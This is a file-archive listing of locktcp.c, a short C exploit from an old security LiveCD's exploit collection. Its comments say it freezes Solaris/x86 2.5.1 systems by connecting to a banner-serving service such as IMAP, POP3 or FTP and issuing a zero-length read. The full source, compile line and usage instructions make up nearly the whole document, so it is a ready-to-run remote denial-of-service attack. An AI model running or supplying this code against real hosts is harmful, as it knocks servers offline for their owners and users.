home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / locktcp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  95 lines

  1. /*
  2.  * The following is rather ripped from Pine 3.95, and condensed.
  3.  * It should easily freeze a Solaris/x86 2.5.1 system, though may have to
  4.  * be run more than once to produce the problem.
  5.  *
  6.  * Compile with: [g]cc -o locktcp locktcp.c -lsocket -lnsl
  7.  *
  8.  * Throw this at your favorite dotted decimal IP and port of some server
  9.  * (not on the local host) that throws up a banner message. i.e. IMAP,
  10.  * POP3, FTP, etc.  The program doesn't seem to hang the system on
  11.  * services that don't throw a banner (like HTTP).
  12.  *
  13.  * Usage: locktcp ip-addr port
  14.  */
  15.  
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <netdb.h>
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <fcntl.h>
  23. #include <errno.h>
  24.  
  25. int main(int argc, char **argv)
  26. {
  27.   int i,sock,flgs;
  28.   char *s;
  29.   struct sockaddr_in sin;
  30.   fd_set fds;
  31.   char tmp[4096];
  32.   char *host;
  33.   long port;
  34.  
  35.   if (argc != 3)
  36.     {
  37.       fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]);
  38.       return 1;
  39.     }
  40.   host = argv[1];
  41.   port = atol(argv[2]);
  42.  
  43.   /**** Set up address and open socket ****/
  44.   sin.sin_port = htons (port);
  45.   sin.sin_addr.s_addr = inet_addr (host);
  46.   sin.sin_family = AF_INET;    /* family is always Internet */
  47.   if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0)
  48.     {
  49.       fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno));
  50.       return 0;
  51.     }
  52.  
  53.   /**** Set to non-blocking ****/
  54.   flgs = fcntl (sock,F_GETFL,0);/* get current socket flags */
  55.   fcntl (sock,F_SETFL,flgs | O_NDELAY);
  56.  
  57.   /**** Connect to host ****/
  58.   while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 &&
  59.          errno == EINTR);
  60.   if (i < 0) switch (errno)
  61.       {    /* failed? */
  62.       case EINPROGRESS:
  63.       case EISCONN:
  64.       case EADDRINUSE:
  65.         break;            /* well, not really, it was interrupted */
  66.       default:
  67.         fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
  68.                  strerror (errno));
  69.         close (sock);        /* flush socket */
  70.         return 0;
  71.       }
  72.  
  73.   /**** Do blocking select on nonblocking socket ****/
  74.   FD_ZERO (&fds);        /* initialize selection vector */
  75.   FD_SET (sock,&fds);        /* block for writeable */
  76.   while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) &&
  77.          (errno == EINTR));
  78.  
  79.   /**** Set back to blocking socket ****/
  80.   if (i > 0)
  81.     {            /* success, make sure really connected */
  82.       fcntl (sock,F_SETFL,flgs);    /* restore blocking status */
  83.       /* get socket status */
  84.       while ((i = read (sock,tmp,0)) < 0 && errno == EINTR); /*** XXX--BOOM ***/
  85.       if (!i) i = 1;        /* make success if the read is OK */
  86.     }
  87.   if (i <= 0)
  88.     {            /* timeout or error? */
  89.       fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
  90.                strerror (i ? errno : ETIMEDOUT));
  91.       close (sock);        /* flush socket */
  92.     }
  93.   return 0;
  94. }
  95. /*                    www.hack.co.za              [2000]*/